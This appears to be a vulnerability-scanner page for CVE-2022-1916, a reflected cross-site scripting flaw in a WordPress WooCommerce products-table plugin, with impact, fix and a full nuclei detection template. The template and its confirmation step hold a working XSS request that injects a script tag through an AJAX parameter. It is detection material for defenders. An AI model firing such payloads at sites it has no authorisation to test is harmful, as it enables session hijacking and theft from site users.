WordPress Active Products Tables for WooCommerce <1.0.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.9%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

WordPress Active Products Tables for WooCommerce plugin prior to 1.0.5 contains a cross-site scripting vulnerability.. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to version 1.0.5 or later of the WordPress Active Products Tables for WooCommerce plugin to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\u003cscript%3Ealert(document.domain)\u00…
Positive when: contains "<script>alert(document.domain)</script>" AND contains "woot-content-in-popup" or "woot-system" or "woot-table" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1916 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-1916

info:
  name: WordPress Active Products Tables for WooCommerce <1.0.5 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Active Products Tables for WooCommerce plugin prior to 1.0.5 contains a cross-site scripting vulnerability.. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to version 1.0.5 or later of the WordPress Active Products Tables for WooCommerce plugin to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d16a0c3d-4318-4ecd-9e65-fc4165af8808
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1916
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1916
    cwe-id: CWE-79
    epss-score: 0.01949
    epss-percentile: 0.8039
    cpe: cpe:2.3:a:pluginus:woot:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: pluginus
    product: woot
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,xss,wpscan,wp,pluginus,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\u003cscript%3Ealert(document.domain)\u003c/script%3E%22}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - 'woot-content-in-popup'
          - 'woot-system'
          - 'woot-table'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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